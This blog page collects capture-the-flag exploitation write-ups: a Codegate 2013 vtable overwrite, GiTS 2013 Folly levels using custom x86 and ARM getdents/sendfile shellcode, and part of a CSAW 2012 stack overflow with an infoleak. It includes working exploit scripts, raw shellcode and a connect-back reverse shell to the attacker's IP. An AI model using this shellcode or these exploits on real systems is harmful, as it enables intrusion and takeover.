codezen.fr code hacking, zen coding

3Mar/13Off

Codegate 2013 Quals – Vuln 300 Write-up

Posted by aXs

This binary asks for a number and a string and outputs it. While playing with value, we notice a negative number for the number will crash the program.

$ nc 58.229.122.22 6666
Input Num : 32
Input Msg : TOTO
Reply :
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`TOTO

$ nc 58.229.122.22 6666
Input Num : 2048
Input Msg : TOTO
Reply :
TOTO

$ nc 58.229.122.22 6666
Input Num : -1
Input Msg : TOTO

The reverse engineered main part of the program is as follow:

- We create a new objet myClass
- Set the virtual function pointer for the do_reply function.
- Get inputs from user
- Copy user data to myClass
- Call myClass->do_reply

int __cdecl handler()
{
  int myClass; // ebx@1
  int size; // ST10_4@1

  myClass = operator new();
  set_do_reply_ptr(myClass);
  printf("Input Num : ");
  fflush(stdout);
  sleep(2u);
  fgets(buffer, 2048, stdin);
  size = atoi(buffer);
  memset(buffer, 0, 2048u);
  printf("Input Msg : ");
  fflush(stdout);
  sleep(2u);
  fgets(buffer, 2048, stdin);
  fflush(stdout);
  do_copy(myClass, buffer, size);
  (**(void (__cdecl ***)(_DWORD))myClass)(myClass);
  return 0;
}

The copy function is below. What we want is trick strncpy in overwriting the first 4 bytes of myClass which contains the virtual function pointers to do_reply.

char *__cdecl do_copy(int dest, const char *src, signed int size)
{
  char *result; // eax@5

  if ( size > 2047 )
  {
    result = strcpy((char *)(dest + 4), src);
  }
  else
  {
    for ( i = 0; (size ^ (size >> 31)) - (size >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + size), src, 2048 - ((size ^ (size >> 31)) - (size >> 31)));
  }
  return result;
}

If we use size = -4:

    for ( i = 0; (-4 ^ (-4 >> 31)) - (-4 >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ (-4 >> 31)) - (-4 >> 31)));

-4 = b1111111111111111111111111111111111111111111111111111111111111100
-4 >> 31 = -1 = b1111111111111111111111111111111111111111111111111111111111111111

-4 ^ -1 = 3

So we can simplify the function as follow:

    for ( i = 0; (-4 ^ -1) - -1 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ -1) - -1));

And even more:

    for ( i = 0; 4 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest), src, 2044);

strncpy will overwrite the beginning of myClass, bingo, we can control the virtual function pointer.

Let's check this with a debugger:

gdb$ run
Input Num : -4
Input Msg : ABCD
--------------------------------------------------------------------------[regs]
  EAX: 0x080491E0  EBX: 0x0804A008  ECX: 0x0804A00C  EDX: 0x0804A008  o d I t s z A P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF698  ESP: 0xBFFFF68C  EIP: 0x080488D5
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488d5: call   0x80485a8 <strncpy@plt>
   0x80488da: jmp    0x80488f1
   0x80488dc: mov    eax,DWORD PTR [ebp+0x8]
   0x80488df: lea    edx,[eax+0x4]
   0x80488e2: mov    eax,DWORD PTR [ebp+0xc]
   0x80488e5: mov    DWORD PTR [esp+0x4],eax
   0x80488e9: mov    DWORD PTR [esp],edx
   0x80488ec: call   0x80485f8 <strcpy@plt>
--------------------------------------------------------------------------------

Breakpoint 1, 0x080488d5 in ?? ()
gdb$ x/4x $esp
0xbffff68c: 0x0804a008  0x080491e0  0x000007fc  0xbffff6b8

Our calculations are correct, destination will be start of myClass.

Let's take a deeper look on how a virtual function call happends:

(**(void (__cdecl ***)(_DWORD))myClass)(myClass);

This translate in assembly to:

.text:08048825                 mov     eax, [ebp+var_C] ; myClass
.text:08048828                 mov     eax, [eax]       ; virtual function pointer offset
.text:0804882A                 mov     edx, [eax]       ; virtual function offset
.text:0804882C                 mov     eax, [ebp+var_C]
.text:0804882F                 mov     [esp], eax
.text:08048832                 call    edx              ; call virtual function

Lets check again with a debugger using -4 for size:

gdb$ run
Input Num : -4
Input Msg : ABCD

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x44434241  EBX: 0x0804A008  ECX: 0x000007F6  EDX: 0x000007F6  o d I t S z a p c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF6B8  ESP: 0xBFFFF6A0  EIP: 0x0804882A
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804882a: mov    edx,DWORD PTR [eax]
   0x804882c: mov    eax,DWORD PTR [ebp-0xc]
   0x804882f: mov    DWORD PTR [esp],eax
   0x8048832: call   edx
   0x8048834: mov    eax,0x0
   0x8048839: add    esp,0x14
   0x804883c: pop    ebx
   0x804883d: pop    ebp
--------------------------------------------------------------------------------
0x0804882a in ?? ()

Bingo. 'ABCD' (0x44434241) was written to the virtual function pointer.

Now it's only a matter of filling this buffer with a shellcode and jumping to it:

[A][B][SHELLCODE]

A will be the offset of B
B will be the offset of SHELLCODE

Since the binary is suid but is dropping privileges, we need to setreuid() to restore the suid user and access the key file.

import telnetlib
from struct import pack, unpack

# setreuid(geteuid())
shellcode = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80"
# connectback port 45295
shellcode += "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02" \
    "\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68"
shellcode += chr(1) + chr(2) + chr(3) + chr(4) # your IP
shellcode += "\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

host = '58.229.122.22'
port = 6666

tn = telnetlib.Telnet(host, port)

tn.read_until("Input Num : ")
tn.write("-4\n")
tn.read_until("Input Msg : ")

buffer =  pack('<I', 0x080491E0 + 4) # virtual function pointer offset
buffer += pack('<I', 0x080491E0 + 8) # virtual function offset
buffer += shellcode
buffer += "\n"

print repr(buffer)

s = tn.get_socket()
s.send(buffer)

data = True
while data:
    data = s.recv(1024)
    if data:
        print data

Result:

$ nc -v -l -p 45295
id
uid=502(S74R) gid=501(star) groups=502(S74R),501(star)
pwd
/
cd /home/S74R
cat key
Victoria Secret show they miss me ;)
Share
18Feb/13Off

GiTS 2013 CTF – Trivia 400 Question 17 – Folly Level 3 ARM Write-up

Posted by aXs

This is the next level of Folly, the multi-level challenge from the Ghost in The Shell CTF.

Note: I couldn't complete this level during the CTF because of issues in getting my Debian Lenny and Squeeze qemu-system-arm images working with the Folly binary. I ended up blind coding the ARM shellcode and it didn't work. After the CTF, I managed to get a Fedora ARM distribution working on Qemu 0.14 (thanks kalenz) and was able to run and debug my solution: I had a one single byte wrong 🙁

The binary is doing exactly the same than for Level 1 x86_64 and Level 2 x86 except it's now compiled and running on a ARMv7 architecture.

The signature on the block buffer has been changed, we need to use 0x32adcd7d:

.text:00008F8E                 LDR             R3, [R7,#0x18+addr]
.text:00008F90                 STR             R3, [R7,#0x18+var_8]
.text:00008F92                 LDR             R3, [R7,#0x18+var_8]
.text:00008F94                 LDR             R2, [R3]
.text:00008F96                 MOV             R3, #0x32ADCD7D
.text:00008F9E                 CMP             R2, R3

To summarize our findings from previous level:
- We are in a chroot()
- There is no shell in this chroot()
- You need to guess the filename of the key file or uses a getdents() shellcode to list the folder first (the filename on the challenge box was "secret" so you can guess it)

The following exploit will uses a custom Linux ARM sendfile() shellcode to send us a file from the current directory:

import telnetlib
from struct import pack, unpack

host = 'folly.2013.ghostintheshellcode.com'
port = 5674

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")

tn.read_until(">")

tn.write("M\n")

tn.read_until(">")

tn.write("A\n")

tn.read_until("What will you shout as you attack the giants?")

# Level 5674
buffer = pack('<I', 0x032ADCD7D)

# custom open('secret')+sys_write for ARM

# Thumb mode
shellcode  = "\x05\x50\x45\xe0"  # sub  r5, r5, r5
shellcode += "\x01\x50\x8f\xe2"  # add  r5, pc, #1
shellcode += "\x15\xff\x2f\xe1"  # bx   r5

# open(filename, O_RDONLY) = fd
shellcode += "\x78\x46"          # mov  r0, pc
shellcode += "\x26\x30"          # adds r0, #38
shellcode += "\x00\x21"          # movs r1, 0
shellcode += "\x00\x22"          # movs r2, 0
shellcode += "\x05\x27"          # movs r7, #5
shellcode += "\x01\xdf"          # svc  1

# r8 = fd
shellcode += "\x80\x46"          # mov  r8, r0

# sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
shellcode += "\x04\x20"          # mov  r0, 4
shellcode += "\x41\x46"          # mov  r1, r8
shellcode += "\x00\x22"          # mov  r2, 0
shellcode += "\xff\x23"          # movs r3, #255
shellcode += "\xbb\x27"          # movs r7, #187
shellcode += "\x01\xdf"          # svc  1

# close(fd)
shellcode += "\x41\x46"          # mov  r1, r8
shellcode += "\x08\x1c"          # adds r0, r1, #0
shellcode += "\x06\x27"          # movs r7, #6
shellcode += "\x01\xdf"          # svc  1

# exit(0)
shellcode += "\x1a\x49"          # subs r1, r1, r1
shellcode += "\x08\x1c"          # adds r0, r1, #0
shellcode += "\x01\x27"          # movs r7, #1
shellcode += "\x01\xdf"          # svc  1

# filename
shellcode += "secret" + chr(0)

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)

Result:

[pid   632] open("secret", O_RDONLY)    = 3
[pid   632] sendfile(4, 3, NULL, 255)   = 5
[pid   632] close(3)                    = 0
Share
17Feb/13Off

GiTS 2013 CTF – Question 17 Trivia 400 – Folly – Level 2 x86 chroot (getdents shellcode)

Posted by aXs

folly-b2632babf6ce9c2378630e364150ee2c84f47b73: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped

Folly was a multi-level challenge from the Ghost In The Shell Code CTF. This Write-up is for Level 2 based on the X86 architecture.

It's a sample text-game like this:

$ nc folly.2013.ghostintheshellcode.com 5679
Hola! I am Sancho, who are you?
Don Quixote de la Mancha
Hello! Are you ready for your adventure?
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>M
Sire! Let me help you onto your steed.
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>A
Just then they came in sight of thirty or forty windmills that rise from that plain.And no sooner did Don Quixote see them that he said to his squire, "Fortune is guiding our affairsbetter than we ourselves could have wished. Do you see over yonder, friend Sancho, thirty or fortyhulking giants? I intend to do battle with them and slay them. With their spoils we shall begin tobe rich for this is a righteous war and the removal of so foul a brood from off the face of the earth is a service God will bless."

"What giants?" asked Sancho Panza.

"Those you see over there," replied his master, "with their long arms. Some of them have arms well nigh two leagues in length."

"Take care, sir," cried Sancho. "Those over there are not giants but windmills. Those things that seem to be their arms are sails which, when they are whirled around by the wind, turn the millstone."

What will you shout as you attack the giants?
TEST
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>Q

You have to first "Mount Rocinante" before you can "Attack Giants". Let's focus on the attack:

First a RWE buffer is allocated with mmap:

.text:08049025                 mov     dword ptr [esp+14h], 0 ; offset
.text:0804902D                 mov     dword ptr [esp+10h], 0FFFFFFFFh
.text:08049035                 mov     dword ptr [esp+0Ch], 22h ; flags
.text:0804903D                 mov     dword ptr [esp+8], 7 ; prot RWE
.text:08049045                 mov     dword ptr [esp+4], 1000h ; len
.text:0804904D                 mov     dword ptr [esp], 0 ; addr
.text:08049054                 call    _mmap

At most 1024 bytes is read from the socket to this buffer:

.text:08049059                 mov     [ebp+addr], eax
.text:0804905C                 mov     dword ptr [esp+0Ch], 0Ah ; int
.text:08049064                 mov     dword ptr [esp+8], 400h ; int
.text:0804906C                 mov     eax, [ebp+addr]
.text:0804906F                 mov     [esp+4], eax    ; int
.text:08049073                 mov     eax, [ebp+fd]
.text:08049076                 mov     [esp], eax      ; fd
.text:08049079                 call    readUntil

Code checks if the buffer starts with 0xe7ab444b:

.text:0804907E                 mov     eax, [ebp+addr]
.text:08049081                 mov     [ebp+var_10], eax
.text:08049084                 mov     eax, [ebp+var_10]
.text:08049087                 mov     eax, [eax]
.text:08049089                 cmp     eax, 0E7AB444Bh

It it does, the code calls the buffer (jumping over the 4 bytes signature at the beginning):

.text:08049090                 mov     eax, [ebp+addr]
.text:08049093                 add     eax, 4
.text:08049096                 mov     [ebp+var_14], eax
.text:08049099                 mov     eax, [ebp+fd]
.text:0804909C                 mov     [esp], eax
.text:0804909F                 mov     eax, [ebp+var_14]
.text:080490A2                 call    eax

Simple right ? Almost except a few details:

- chroot() is used to restrict the process to its home directory
- there is no shell (/bin/sh) in the chroot
- you cannot escape the chroot with the classic mkdir()/chroot() trick

We started with a custom shellcode that would open a "key" file and send it to the socket but there was no "key" file.

So we designed a custom open()+getdents() x86 shellcode. Here it is:

BITS 32
GLOBAL _start
_start:
    jmp get_eip
 
run:
    xor eax, eax
    xor edi, edi
    inc edi
    inc edi
    inc edi
    inc edi

    ; fd = sys_open(".", 0, 0)
    add eax, edi    ; sys_open
    inc eax
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    test eax,eax  ; file exists?
    jz error

    mov ebx, eax  ; fd

    ; getdents(fd,esp,0x1337)
    mov edx, 0x1337 ;size
    sub esp, edx    ;make room on the stack
    mov ecx, esp    ;buffer
    mov eax, 0x8d   ;sys_getdents
    int 0x80

    mov edx, eax    ;size

    ; close(fd)
    mov eax, edi ; 4 + 2
    inc eax
    inc eax
    int 0x80 ; fd in ebx
 
    ; sys_write
    mov    ecx, esp    ; buffer
    mov    ebx, edi    ; fd 4
    mov    eax, edi    ; sys_write
    int    0x80 ; size in edx

    add esp, edx

error:
    ; sys_exit
    xor eax, eax
    inc eax
    xor ebx,ebx
    int 0x80

get_eip:
    call run
 
filename:
    db '.', 0x0

And the python part, with a decoder for the raw getdents buffer that we send:

import telnetlib
from struct import pack, unpack

def decode_getdents(getdents):
    index = 0
    while True:
        entry_len = unpack('<H', getdents[index+8:index+10])[0]
        getdent = getdents[index:index+entry_len+1]
        inode = unpack('<I', getdent[0:4])[0]
        filename = getdent[10:10+entry_len-2]
        yield inode, filename
        index += entry_len
        if index == len(getdents):
            break

host = 'folly.2013.ghostintheshellcode.com'
port = 5673

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")

tn.read_until(">")

tn.write("M\n")

tn.read_until(">")

tn.write("A\n")

tn.read_until("What will you shout as you attack the giants?")

# Level 5673
buffer = pack('<I', 0x0E7AB444B)

# custom open('.')+getdents()+write()
shellcode = "\xe9\x41\x00\x00\x00\x31\xc0\x31\xff\x47\x47\x47\x47\x01\xf8\x40\x5b\x31\xc9\x31\xd2\xcd\x80\x85\xc0\x74\x24\x89\xc3\xba\x37\x13\x00\x00\x29\xd4\x89\xe1\xb8\x8d\x00\x00\x00\xcd\x80\x89\xc2\x89\xf8\x40\x40\xcd\x80\x89\xe1\x89\xfb\x89\xf8\xcd\x80\x01\xd4\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xba\xff\xff\xff\x2e\x00"

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

for (inode, filename) in decode_getdents(s.recv(0x1337)):
    print inode, filename

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)

Result:

$ python folly.py
shellcode len= 77
531277 ..
531278 .
531279 flag

So the file is called "flag", let's get it with a custom X86 sendfile() shellcode:

BITS 32
GLOBAL _start
_start:
    jmp short get_eip
 
run:
    xor eax, eax
    inc eax
    inc eax
    inc eax
    inc eax
    mov edi, eax
    xor edx, edx
 
    ; fd = sys_open(filename, 0, 0)
    mov eax, edi
    inc eax       ; sys_open
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    ; sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
    mov ecx, eax  ; in_fd
    xor eax, eax
    mov al, 0xbb  ; sendfile() syscall
    mov ebx, edi  ; out_fd
    xor edx, edx  ; offset = 0
    mov esi, edi
    shl esi, 8    ; size (4 << 8 = 1024)
    int 0x80

    ; sys_exit(0)
    xor eax, eax
    mov al, 1 ;exit the shellcode
    xor ebx,ebx
    int 0x80

get_eip:
    call run            ; put address of our message onto the stack
 
filename:
    db 'flag', 0x0

Result:

$ python folly.py
shellcode len= 61
'There is no book so bad...that it does not have something good in it.\n\nHowever, our adventure still awaits!\n\n2013.ghostintheshellcode.com/folly-9a062bfbc9c4bd0aaafbc80dbc9facc942319b73\nfolly.2013.ghostintheshellcode.com:5674\n'
Share
5Oct/12Off

CSAW 2012 CTF – Exploit 500 Writeup

Posted by aXs

Exploit 500 is the final exploitation challenge for CSAW CTF.

It looks like a game asking questions. You get 2 tries per question.

.text:08048CF7 buffer1         = byte ptr -4B4h
.text:08048CF7 buffer2         = byte ptr -438h
.text:08048CF7 answer          = byte ptr -38h
.text:08048CF7 buffer_length   = dword ptr -10h

Buffer1 size is 124 bytes and Buffer2 size is 1024 butes.

.text:08048D21                 mov     eax, [ebp+fd]
.text:08048D24                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048D2C                 mov     dword ptr [esp+8], 7Ch ; n
.text:08048D34                 lea     edx, [ebp+buffer1]
.text:08048D3A                 mov     [esp+4], edx    ; buf
.text:08048D3E                 mov     [esp], eax      ; fd
.text:08048D41                 call    _recv

First read in Buffer1 is 124 bytes, cannot be overflowed

.text:08048DB5                 mov     eax, [ebp+fd]
.text:08048DB8                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048DC0                 mov     dword ptr [esp+8], 400h ; n
.text:08048DC8                 lea     edx, [ebp+buffer2]
.text:08048DCE                 mov     [esp+4], edx    ; buf
.text:08048DD2                 mov     [esp], eax      ; fd
.text:08048DD5                 call    _recv

Second read in Buffer2 is 1024 bytes, cannot be overflowed. No luck so far.

.text:08048DF2                 mov     eax, [ebp+buffer_length]
.text:08048DF5                 shr     eax, 2
.text:08048DF8                 mov     ecx, eax
.text:08048DFA                 lea     eax, [ebp+buffer2]
.text:08048E00                 mov     esi, eax
.text:08048E02                 lea     eax, [ebp+answer]
.text:08048E05                 mov     edi, eax
.text:08048E07                 rep movsd

Interesting, copy buffer2 (1024 bytes maximum) into the answer buffer (40 bytes maximum), this will smack the stack.

Let's try with a buffer dipper:

$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies   **Answers can have spaces & case insensitive**

WarGames: David was playing ______ at the arcade
Answer: TOTO
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

We get a crash in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30662]
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0xB7FC3FF4  ECX: 0xFFFFFFC8  EDX: 0x00000009  o d I t S z a P c
  ESI: 0xBFFFF2E0  EDI: 0xBFFFF6E0  EBP: 0x39624138  ESP: 0xBFFFF620  EIP: 0x41306341
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x41306341
0x41306341 in ?? ()

Calculate buffer length using the crash EIP:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x41306341                                          
60

Perfect! We can control EIP. Where can we jump now ?

$ eu-readelf -l challenge1b
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00154c 0x00154c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00018c 0x000194 RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x0012c4 0x080492c4 0x080492c4 0x000084 0x000084 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is again RWE like in Exploit 300 and 400!

Our problem is that the answer buffer is quite small, 40 bytes. But buffer2 is gigantic with 1024 bytes. So our strategy will be to do an infoleak to get the offset of our shellcode stored in buffer2.

We will fake parameters pushed on the stack and then call send() to get a dump of the stack layout and locate our shellcode.

Our payload will be as follow:

[TOTO\N]['A' * 60][EIP send()][FD][OFFSET][LENGTH][FLAGS][NOP][SHELLCODE]

We will get a stack dump and then we can look for the nopsled into it to locate the start of our shellcode:

WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: ______ was the game Joshua needed to play to learn\n"not to play is the best option".\nAnswer: '
INFOLEAK
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'H\xcb\xfd\xb7\xf4\xef\xff\xb7\xd0\xfa\xff\xb7$\xf1\xff\xbf\xe0\xf0\xff\xbf\xc9~\xfe\xb7\xc0\xf0\xff\xbfl\x83\x04\x08\xa8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\xc8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xf8\x83\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xb5\x83\x04\x08\x00\x00\x00\x00\xa8\x94\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x98_\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\xf4\xef\xff\xb7\x18\xf9\xff\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7H\xcb\xfd\xb7\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7\x00\x00\x00\x00\x8c\x83\x04\x08d\xb0\x04\x08\x00\x00\x00\x00\xbf]\xee\xb7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00AAAA\xf4/\xfd\xb7d\xf1\xff\xbfq\xe5\xf1\xb7\x90\x86\x04\x08\x04\x00\x00\x00\x00\xf0\xff\xbf\xff\x0f\x00\x00@\x00\x00\x001\xc01\xdb1\xc9\xb1\x03\xfe\xc9\xb0?\xb3\x04\xcd\x80u\xf61\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@V\x88\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10|\xf2\xff\xbf\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\xdb\x9d^\x17\x8d\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0009\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00p\xd2\xfe\xb7\x00\x00\x00\x00x\xf2\xff\xbfO\x88\x04\x08\xb0\x8e\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\xd3\xb4\xe4\xb7\x01\x00\x00\x00\x14\xf3\xff\xbf\x1c\xf3\xff\xbfX\xc8\xfd\xb7\x00\x00\x00\x00\x1c\xf3\xff\xbf\x1c\xf3\xff\xbf\x00\x00\x00\x00\x8c\x83\x04\x08\xf4/\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcc\x86\rh\xdc\xa2\x81^\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xa0&\xff\xb7\xe9\xb3\xe4\xb7\xf4\xef\xff\xb7\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xb1\x87\x04\x08D\x88\x04\x08\x01\x00\x00\x00\x14\xf3\xff\xbf\xb0\x8e\x04\x08 \x8f\x04\x08p\xd2\xfe\xb7\x0c\xf3\xff\xbf\x18\xf9\xff\xb7\x01\x00\x00\x00=\xf4\xff\xbf\x00\x00\x00\x00J\xf4\xff\xbfV\xf4\xff\xbff\xf4\xff\xbfq\xf4\xff\xbf\x92\xf9\xff\xbf\xa1\xf9\xff\xbf\xaf\xf9\xff\xbf\xa4\xfe\xff\xbf\xb2\xfe\xff\xbf\xc7\xfe\xff\xbf\x14\xff\xff\xbf*\xff\xff\xbf:\xff\xff\xbfK\xff\xff\xbfS\xff\xff\xbfh\xff\xff\xbfy\xff\xff\xbf\x87\xff\xff\xbf\x90\xff\xff\xbf\xb0\xff\xff\xbf\xbe\xff\xff\xbf\xe0\xff\xff\xbf\x00\x00\x00\x00 \x00\x00\x00\x14\xd4\xfd\xb7!\x00\x00\x00\x00\xd0\xfd\xb7\x10\x00\x00\x00\xff\xfb\xeb\x0f\x06\x00\x00\x00\x00\x10\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x004\x80\x04\x08\x04\x00\x00\x00 \x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00\x07\x00\x00\x00\x00\xe0\xfd\xb7\x08\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x90\x87\x04\x08\x0b\x00\x00\x00\xe9\x03\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\xe9\x03\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x1b\xf4\xff\xbf\x1f\x00\x00\x00\xef\xff\xff\xbf\x0f\x00\x00\x00+\xf4\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\xa9R\xd4C\xf4\xcb\xd9\x04\xdd\x8ds\xb0\xcbRfi686\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00./challenge1\x00TERM=screen\x00SHELL=/bin/bash\x00USER=csaw1\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;3'
Found shellcode at 0xbffff174L

Easy. We can now exploit this by using 0xbffff174 as the EIP in the payload:

len shellcode= 46
